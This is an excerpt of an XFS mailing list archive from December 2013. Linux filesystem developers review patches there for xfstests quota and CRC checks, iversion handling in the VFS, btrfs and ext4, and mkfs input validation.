(2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0E2597F58 for ; Tue, 3 Dec 2013 01:36:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8F10BAC001 for ; Mon, 2 Dec 2013 23:36:45 -0800 (PST) X-ASG-Debug-ID: 1386056203-04cb6c537d4a59a0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 6VcUIC8h9OTzskk5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 23:36:43 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB37afqn023194 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 3 Dec 2013 07:36:42 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB37ad3a021590 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 3 Dec 2013 07:36:40 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB37adfv000889; Tue, 3 Dec 2013 07:36:39 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 02 Dec 2013 23:36:39 -0800 Message-ID: <529D8A03.1060603@oracle.com> Date: Tue, 03 Dec 2013 15:36:35 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 3/3] xfstests: introduce xfs/324 to verify turn group/project quota off along with fsstress References: <52983C4B.1090202@oracle.com> <20131203005308.GK10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfstests: introduce xfs/324 to verify turn group/project quota off along with fsstress In-Reply-To: <20131203005308.GK10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1386056203 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142802 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/03 2013 08:53 AM, Dave Chinner wrote: > On Fri, Nov 29, 2013 at 03:03:39PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> Introduce xfs/324 to verify that we can turn group/project quotas off >> while user quota is on and fsstress is running. >> >> Signed-off-by: Jie Liu > .... >> + >> +# Modify as appropriate. >> +_supported_fs xfs >> +_supported_os Linux >> + >> +_require_scratch >> +_require_xfs_quota >> +_require_xfs_crc_sb > > Hmmm, now that I look at the way you are using _require_xfs_crc_sb, > it's broken. The scratch device is in an undefined state until a > test runs _scratch_mkfs on it. > > What you need to do is check whether mkfs supports "-m crc=1", and > then mkfs the scratch device with that option set. Got it. > >> + >> +_qmount_option "uquota,gquota,pquota" >> + >> +STRESS_DIR=$SCRATCH_MNT/testdir >> + > > Where do you mkfs the scratch device? Oops, this problem must be concealed as it has ran against the environment from previous test. > >> +_exercise() >> +{ >> + type=$1 >> + >> + _qmount >> + mkdir -p $STRESS_DIR >> + >> + $FSSTRESS_PROG -d $STRESS_DIR -n 100 -p 1000 $FSSTRESS_AVOID >>/dev/null 2>&1 & > > There's no real reason for creating a load of 1000 processes here. > Half of them won't even get started before this: > >> + xfs_quota -x -c "off -$type" $SCRATCH_DEV > > is run. > >> + killall -q $FSSTRESS_PROG >> + wait > > and then you kill them straight away. > >> + rm -rf $STRESS_DIR >> + umount $SCRATCH_MNT > > You don't need this if you just scratch_mkfs the device between > tests. > > So, wouldn't it be better to do: > > scratch_mkfs -m crc=1 > _qmount > mkdir -p $STRESS_DIR > $FSSTRESS_PROG -d $STRESS_DIR -n 1000 -p 100 $FSSTRESS_AVOID >>/dev/null 2>&1 & > sleep 10 > xfs_quota -x -c "off -$type" $SCRATCH_DEV > sleep 5 > killall -q $FSSTRESS_PROG > wait Above problems will be fixed in next round of post. Thanks, -Jeff From jeff.liu@oracle.com Tue Dec 3 01:49:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 57BFD7F58 for ; Tue, 3 Dec 2013 01:49:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D6F40AC001 for ; Mon, 2 Dec 2013 23:48:59 -0800 (PST) X-ASG-Debug-ID: 1386056938-04cb6c537d4a6560001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id boJaBTFT9UDRXCTM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 23:48:58 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB37mtlS026227 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 3 Dec 2013 07:48:56 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB37ms1G006902 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 3 Dec 2013 07:48:55 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB37msRB006886; Tue, 3 Dec 2013 07:48:54 GMT Received: from [192.168.1.104] (/123.119.109.45) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 02 Dec 2013 23:48:53 -0800 Message-ID: <529D8CE2.8020807@oracle.com> Date: Tue, 03 Dec 2013 15:48:50 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH 1/3] xfstests: introduce _require_xfs_crc_sb pre-checkup routine References: <52983C41.8000004@oracle.com> <20131203003759.GI10988@dastard> <20131203005619.GL10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfstests: introduce _require_xfs_crc_sb pre-checkup routine In-Reply-To: <20131203005619.GL10988@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386056938 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142802 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/03 2013 08:56 AM, Dave Chinner wrote: > On Tue, Dec 03, 2013 at 11:37:59AM +1100, Dave Chinner wrote: >> On Fri, Nov 29, 2013 at 03:03:29PM +0800, Jeff Liu wrote: >>> From: Jie Liu >>> >>> Introduce _require_xfs_crc_sb to rc. We can use it in pre-checkup >>> procedures to verify if the XFS test environment is configured with >>> CRC enabled or not for some particular test cases. >>> >>> Introduce a new helper _xfs_sb_version to get XFS super block version >>> to make the test case more flexiable if possible. e.g, if that is >>> v5 super block, the tests behavior might be different to old v4 sb. >>> >>> Refactor xfs/299 to use it. >>> >>> Signed-off-by: Jie Liu >>> --- >>> common/rc | 19 +++++++++++++++++++ >>> tests/xfs/299 | 9 +-------- >>> 2 files changed, 20 insertions(+), 8 deletions(-) >>> >>> diff --git a/common/rc b/common/rc >>> index f73414b..9f45279 100644 >>> --- a/common/rc >>> +++ b/common/rc >>> @@ -1579,6 +1579,25 @@ _check_xfs_filesystem() >>> return 0 >>> } >>> >>> +# Get XFS super block version >>> +_xfs_sb_version() >>> +{ >>> + sb_version=`$XFS_DB_PROG -r -c version $SCRATCH_DEV | \ >>> + awk -F= '{print $2}' | awk -F, '{print $1}' | \ >>> + cut -c3-` >>> + echo $sb_version >>> +} >> >> Ugh. I missed how nasty that code was originally. Maths, not string >> manipulations shoul dbe used here. i.e: >> >> versionnum filesystem version information. This value is >> currently 1, 2, 3, or 4 in the low 4 bits. >> >> [ Oh, look, xfs_db man page updates are needed ] >> >> So: >> >> $XFS_DB_PROG -r -c "sb 0" -c "p versionnum" $SCRATCH_DEV | \ >> awk '{ printf "%d\n", and(strtonum($3), 15) }' > > I just realised that the way this is being used is invalid. WE need > to check that mkfs supports -m crc=1, and that the filesystem that > is created can be mounted by the kernel. > > i.e. You can't just look at the > superblock version number on the scratch device > and say that the test can run because: > > a) the scratch device has not been initialised by the test > and so can contain garbage from previous tests; and > b) the kernel might not support CRCs even though the > userspace utilities do. > > Hence we need to test for both userspace and kernel support here. Definitely, I'll add those pre-checkups and fix 299 accordingly. Thanks, -Jeff From bharrosh@panasas.com Tue Dec 3 03:35:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4656F7F58 for ; Tue, 3 Dec 2013 03:35:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 287DB30406B for ; Tue, 3 Dec 2013 01:35:46 -0800 (PST) X-ASG-Debug-ID: 1386063344-04cb6c537d4adfb0001-NocioJ Received: from natasha.panasas.com (natasha.panasas.com [209.166.131.148]) by cuda.sgi.com with ESMTP id yQbG0y44ZfZNzA0r for ; Tue, 03 Dec 2013 01:35:44 -0800 (PST) X-Barracuda-Envelope-From: bharrosh@panasas.com X-Barracuda-Apparent-Source-IP: 209.166.131.148 Received: from seabiscuit.panasas.com (seabiscuit.panasas.com [172.17.132.204]) by natasha.panasas.com (8.13.1/8.13.1) with ESMTP id rB39Z6i7021479; Tue, 3 Dec 2013 04:35:11 -0500 Received: from [172.17.142.17] (172.17.142.17) by seabiscuit.int.panasas.com (172.17.132.204) with Microsoft SMTP Server (TLS) id 14.1.438.0; Tue, 3 Dec 2013 01:35:05 -0800 Message-ID: <529DA5C6.7040403@panasas.com> Date: Tue, 3 Dec 2013 11:35:02 +0200 From: Boaz Harrosh User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7 MIME-Version: 1.0 To: Christoph Hellwig CC: , , NFS list Subject: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling In-Reply-To: <20131202173636.GA17724@infradead.org> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: 7bit X-Barracuda-Connect: natasha.panasas.com[209.166.131.148] X-Barracuda-Start-Time: 1386063344 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142804 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/02/2013 07:36 PM, Christoph Hellwig wrote: > ping? > > On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: >> Currently notify_change directly updates i_version for size updates, >> which not only is counter to how all other fields are updated through >> struct iattr, but also breaks XFS, which need inode updates to happen >> under its own lock, and synchronized to the structure that gets written >> to the log. >> >> Remove the update in the common code, and it to btrfs and ext4, >> XFS already does a proper updaste internally and currently gets a >> double update with the existing code. >> >> IMHO this is 3.13 and -stable material and should go in through the XFS >> tree. >> >> Signed-off-by: Christoph Hellwig >> >> Index: xfs/fs/attr.c >> =================================================================== >> --- xfs.orig/fs/attr.c 2013-11-19 16:08:42.275415189 +0100 >> +++ xfs/fs/attr.c 2013-11-19 16:08:51.803414994 +0100 >> @@ -182,11 +182,6 @@ int notify_change(struct dentry * dentry >> return -EPERM; >> } >> >> - if ((ia_valid & ATTR_SIZE) && IS_I_VERSION(inode)) { >> - if (attr->ia_size != inode->i_size) >> - inode_inc_iversion(inode); >> - } >> - Hi Christoph What happens with all other filesystems exported under KNFSD? As I understand inode_inc_iversion() is used in NFSv4 and up, what will increment the inode-version on changed attributes for them? (ie. do I need the same change in an FS I care about?) Thanks Boaz >> if ((ia_valid & ATTR_MODE)) { >> umode_t amode = attr->ia_mode; >> /* Flag setting protected by i_mutex */ >> Index: xfs/fs/btrfs/inode.c >> =================================================================== >> --- xfs.orig/fs/btrfs/inode.c 2013-11-19 16:08:42.275415189 +0100 >> +++ xfs/fs/btrfs/inode.c 2013-11-19 16:08:51.803414994 +0100 >> @@ -4345,8 +4345,12 @@ static int btrfs_setsize(struct inode *i >> * these flags set. For all other operations the VFS set these flags >> * explicitly if it wants a timestamp update. >> */ >> - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) >> - inode->i_ctime = inode->i_mtime = current_fs_time(inode->i_sb); >> + if (newsize != oldsize) { >> + inode_inc_iversion(inode); >> + if (!(mask & (ATTR_CTIME | ATTR_MTIME))) >> + inode->i_ctime = inode->i_mtime = >> + current_fs_time(inode->i_sb); >> + } >> >> if (newsize > oldsize) { >> truncate_pagecache(inode, newsize); >> Index: xfs/fs/ext4/inode.c >> =================================================================== >> --- xfs.orig/fs/ext4/inode.c 2013-11-19 16:08:42.275415189 +0100 >> +++ xfs/fs/ext4/inode.c 2013-11-19 16:08:51.803414994 +0100 >> @@ -4594,6 +4594,10 @@ int ext4_setattr(struct dentry *dentry, >> if (attr->ia_size > sbi->s_bitmap_maxbytes) >> return -EFBIG; >> } >> + >> + if (IS_I_VERSION(inode) && attr->ia_size != inode->i_size) >> + inode_inc_iversion(inode); >> + >> if (S_ISREG(inode->i_mode) && >> (attr->ia_size < inode->i_size)) { >> if (ext4_should_order_data(inode)) { >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > ---end quoted text--- > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > From BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 3 03:39:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4223E7F59 for ; Tue, 3 Dec 2013 03:39:47 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1D7E9304070 for ; Tue, 3 Dec 2013 01:39:47 -0800 (PST) X-ASG-Debug-ID: 1386063585-04bdf06eee4b7090001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id d2jMabPj8RGJqQnX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 01:39:46 -0800 (PST) X-Barracuda-Envelope-From: BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnmSG-0001JZ-Pp; Tue, 03 Dec 2013 09:39:44 +0000 Date: Tue, 3 Dec 2013 01:39:44 -0800 From: Christoph Hellwig To: Andreas Dilger Cc: Christoph Hellwig , linux-fsdevel , xfs@oss.sgi.com, Ext4 Developers List Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131203093944.GA4906@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> <8E57B1B6-E650-4A1A-AF78-0A9C9593A3E3@dilger.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8E57B1B6-E650-4A1A-AF78-0A9C9593A3E3@dilger.ca> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386063586 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142804 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Dec 02, 2013 at 03:05:07PM -0700, Andreas Dilger wrote: > >> */ > >> - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) > >> - inode->i_ctime = inode->i_mtime = current_fs_time(inode->i_sb); > >> + if (newsize != oldsize) { > >> + inode_inc_iversion(inode); > > Should this be conditional on IS_I_VERSION(inode)? btrfs sets MS_I_VERSION unconditionally. From BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 3 03:42:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3A1D47F5F for ; Tue, 3 Dec 2013 03:42:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1605C8F804C for ; Tue, 3 Dec 2013 01:42:09 -0800 (PST) X-ASG-Debug-ID: 1386063728-04bdf06eee4b7210001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id bRjvk0uQaaIsM2zh (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 01:42:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnmUZ-0002MZ-Rh; Tue, 03 Dec 2013 09:42:07 +0000 Date: Tue, 3 Dec 2013 01:42:07 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 04/15] mkfs: validate all input values Message-ID: <20131203094207.GB4906@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 04/15] mkfs: validate all input values References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-5-git-send-email-david@fromorbit.com> <20131202170420.GA14935@infradead.org> <20131202231202.GA10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131202231202.GA10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386063728 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142804 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 03, 2013 at 10:12:02AM +1100, Dave Chinner wrote: > How does this make sense, though? > > # mkfs.xfs -s size=4s /dev/vda > > Specifying the sector size in *sectors* is currently considered a > valid thing to do. That's insane and fundamentally broken, because > this > > # mkfs.xfs -b size=4s -s size=2s /dev/vda > > results in the block size conversion using a 512 byte sector size, > and everything else using a 1024 byte sector size for conversions. > e.g: > > # mkfs.xfs -b size=4s -s size=2s -n size=2s /dev/vda > > results in a block size of 2k (4*512) and a directory block size of > 2k (2*1024). i.e. the result of unit conversion is dependent on > where the sector size is specified on the command line! True. Guess we should indeed just outright rejecting it. I was more concerned about using the sector size before defined for other parameters, but given how seldomly we specify it on the command line anyway we're probably better off just using the normal table based validation. From BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 3 03:43:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C6CBD7F58 for ; Tue, 3 Dec 2013 03:43:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B2D9F304066 for ; Tue, 3 Dec 2013 01:43:10 -0800 (PST) X-ASG-Debug-ID: 1386063789-04cbb041664b3ef0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 29cb6fX0yP1xcdcE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 01:43:09 -0800 (PST) X-Barracuda-Envelope-From: BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnmVZ-0002N6-BU; Tue, 03 Dec 2013 09:43:09 +0000 Date: Tue, 3 Dec 2013 01:43:09 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 05/10] xfs: introduce xlog_copy_iovec Message-ID: <20131203094309.GC4906@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 05/10] xfs: introduce xlog_copy_iovec References: <20131129083919.207915844@bombadil.infradead.org> <20131129084000.853201203@bombadil.infradead.org> <20131203012120.GQ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203012120.GQ10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386063789 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142804 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Dec 03, 2013 at 12:21:20PM +1100, Dave Chinner wrote: > > Signed-off-by: Christoph Hellwig > > Looks good - I think the helper was worth the effort. ;) This one is very different from the version I had earlier. Took me a long rainy Saturday to arrive at this version.. From BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 3 03:45:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A25B27F58 for ; Tue, 3 Dec 2013 03:45:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8B4BE30406B for ; Tue, 3 Dec 2013 01:45:09 -0800 (PST) X-ASG-Debug-ID: 1386063908-04cbb041694b4010001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id A7wGG9fS4TobXNHz (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 01:45:08 -0800 (PST) X-Barracuda-Envelope-From: BATV+7f1c451f6a98fe4f2fbd+3754+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnmXT-0003Q6-7K; Tue, 03 Dec 2013 09:45:07 +0000 Date: Tue, 3 Dec 2013 01:45:07 -0800 From: Christoph Hellwig To: Boaz Harrosh Cc: Christoph Hellwig , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, NFS list Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131203094507.GD4906@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> <529DA5C6.7040403@panasas.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <529DA5C6.7040403@panasas.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386063908 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142804 Rule breakdown below pts 